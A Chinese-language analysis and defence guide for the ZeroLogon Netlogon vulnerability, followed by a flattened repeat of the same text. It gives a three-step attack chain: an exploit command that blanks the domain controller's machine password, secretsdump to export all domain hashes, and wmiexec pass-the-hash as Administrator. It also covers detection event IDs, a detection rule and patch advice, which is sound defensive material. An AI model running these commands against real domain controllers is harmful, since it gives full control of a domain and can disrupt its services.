ZeroLogon(CVE-2020-1472) 分析与狩猎
字数 1504 2025-08-20 18:18:05

ZeroLogon (CVE-2020-1472) 漏洞分析与防御指南

漏洞概述

ZeroLogon (CVE-2020-1472) 是2020年9月由Secura披露的一个Windows域控严重漏洞,CVSS评分为10.0。该漏洞存在于Netlogon远程协议(MS-NRPC)中,攻击者可利用此漏洞在3秒内攻陷域控制器(DC),因此被称为"3秒撸域控"漏洞。

漏洞原理

Netlogon协议基础

Netlogon远程协议是一个RPC接口,用于基于域的网络上的用户和计算机身份验证。其认证流程包含以下关键步骤:

  1. 客户端向服务器发送挑战请求(NetrServerReqChallenge)
  2. 服务器返回服务器挑战(Server Challenge)
  3. 客户端计算凭据(Client Credential)并发送认证请求(NetrServerAuthenticate3)
  4. 服务器验证凭据

漏洞核心问题

漏洞存在于ComputeNetlogonCredential函数的AES-CFB8加密实现中:

  1. IV设置错误:在认证过程中,IV(初始化向量)被错误地设置为全0

  2. Client Challenge可控:攻击者可以将Client Challenge设置为全0

  3. 加密算法缺陷:当IV和Client Challenge都为全0时,AES-CFB8加密过程简化为:

    E(0) XOR 0 = E(0)
    

    这意味着有1/256的概率会得到8字节全0的Client Credential

  4. 暴力破解可能:攻击者可以不断尝试认证,直到获得有效的全0凭据

漏洞利用步骤

实验环境要求

  • 域控:Windows Server 2012 R2 (x64)
  • 攻击机:Ubuntu 16.04 (x64)
  • 网络:攻击机与域控网络可达

利用过程

  1. 利用漏洞重置域控密码

    python3 cve-2020-1472-exploit.py DC 10.10.10.10
    

    此操作会将域控计算机账户(DC$)的密码置为空

  2. 导出域内凭据

    python3 secretsdump.py de1ay/DC\$@10.10.10.10 -no-pass
    

    此时可获取域内所有用户的哈希,包括域管理员

  3. 获取域控权限

    python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24 Administrator@10.10.10.10
    

    使用获取的管理员哈希执行命令

威胁狩猎(Threat Hunting)

基于日志的检测

  1. 关键事件ID

    • Event ID 4742:计算机账户更改事件,注意账户名为"ANONYMOUS LOGON"
    • Event ID 5805:失败的Netlogon认证尝试
    • 补丁后新增事件ID
      • 5829:允许存在漏洞的Netlogon连接
      • 5827/5828:拒绝易受攻击的Netlogon连接
      • 5830/5831:允许存在漏洞的Netlogon连接
  2. 检测规则

    • 同时检测到5805(失败尝试)和4742(成功更改)
    • 4742中账户名为"ANONYMOUS LOGON"

基于流量的检测

  1. 特征分析

    • 短时间内大量NetrServerAuthenticate3请求
    • Client Credential字段全为0
  2. Zeek检测规则示例

    title: Possible CVE-2020-1472 (zerologon)
    description: Detects potential Zerologon exploitation
    detection:
      selection:
        endpoint: 'netlogon'
        operation: 'NetrServerReqChallenge'
      selection2:
        endpoint: 'netlogon'
        operation: 'NetrServerAuthenticate3'
      timeframe: 1m
      condition: selection or selection2 | count() by src_ip > 100
    level: high
    

防御建议

  1. 立即安装补丁:微软已于2020年8月发布补丁
  2. 启用强制模式:在补丁后启用Netlogon安全通道的强制模式
  3. 监控策略
    • 部署上述检测规则
    • 监控域控计算机账户的异常更改
  4. 网络隔离:限制对域控445端口的访问

影响与风险

  1. 严重性:可直接获取域控权限,进而控制整个域
  2. 可用性影响:漏洞利用会导致域控密码重置,可能影响域服务正常运行
  3. 攻击隐蔽性:攻击成功后可在短时间内完成,但会留下明显日志痕迹

参考资料

  1. Secura BV CVE-2020-1472
  2. Cynet ZeroLogon Analysis
  3. Awake Security Threat Hunting Guide
  4. ZSEC Technical Analysis
ZeroLogon (CVE-2020-1472) 漏洞分析与防御指南 漏洞概述 ZeroLogon (CVE-2020-1472) 是2020年9月由Secura披露的一个Windows域控严重漏洞,CVSS评分为10.0。该漏洞存在于Netlogon远程协议(MS-NRPC)中,攻击者可利用此漏洞在3秒内攻陷域控制器(DC),因此被称为"3秒撸域控"漏洞。 漏洞原理 Netlogon协议基础 Netlogon远程协议是一个RPC接口,用于基于域的网络上的用户和计算机身份验证。其认证流程包含以下关键步骤: 客户端向服务器发送挑战请求(NetrServerReqChallenge) 服务器返回服务器挑战(Server Challenge) 客户端计算凭据(Client Credential)并发送认证请求(NetrServerAuthenticate3) 服务器验证凭据 漏洞核心问题 漏洞存在于ComputeNetlogonCredential函数的AES-CFB8加密实现中: IV设置错误 :在认证过程中,IV(初始化向量)被错误地设置为全0 Client Challenge可控 :攻击者可以将Client Challenge设置为全0 加密算法缺陷 :当IV和Client Challenge都为全0时,AES-CFB8加密过程简化为: 这意味着有1/256的概率会得到8字节全0的Client Credential 暴力破解可能 :攻击者可以不断尝试认证,直到获得有效的全0凭据 漏洞利用步骤 实验环境要求 域控:Windows Server 2012 R2 (x64) 攻击机:Ubuntu 16.04 (x64) 网络:攻击机与域控网络可达 利用过程 利用漏洞重置域控密码 : 此操作会将域控计算机账户(DC$)的密码置为空 导出域内凭据 : 此时可获取域内所有用户的哈希,包括域管理员 获取域控权限 : 使用获取的管理员哈希执行命令 威胁狩猎(Threat Hunting) 基于日志的检测 关键事件ID : Event ID 4742 :计算机账户更改事件,注意账户名为"ANONYMOUS LOGON" Event ID 5805 :失败的Netlogon认证尝试 补丁后新增事件ID : 5829:允许存在漏洞的Netlogon连接 5827/5828:拒绝易受攻击的Netlogon连接 5830/5831:允许存在漏洞的Netlogon连接 检测规则 : 同时检测到5805(失败尝试)和4742(成功更改) 4742中账户名为"ANONYMOUS LOGON" 基于流量的检测 特征分析 : 短时间内大量NetrServerAuthenticate3请求 Client Credential字段全为0 Zeek检测规则示例 : 防御建议 立即安装补丁 :微软已于2020年8月发布补丁 启用强制模式 :在补丁后启用Netlogon安全通道的强制模式 监控策略 : 部署上述检测规则 监控域控计算机账户的异常更改 网络隔离 :限制对域控445端口的访问 影响与风险 严重性 :可直接获取域控权限,进而控制整个域 可用性影响 :漏洞利用会导致域控密码重置,可能影响域服务正常运行 攻击隐蔽性 :攻击成功后可在短时间内完成,但会留下明显日志痕迹 参考资料 Secura BV CVE-2020-1472 Cynet ZeroLogon Analysis Awake Security Threat Hunting Guide ZSEC Technical Analysis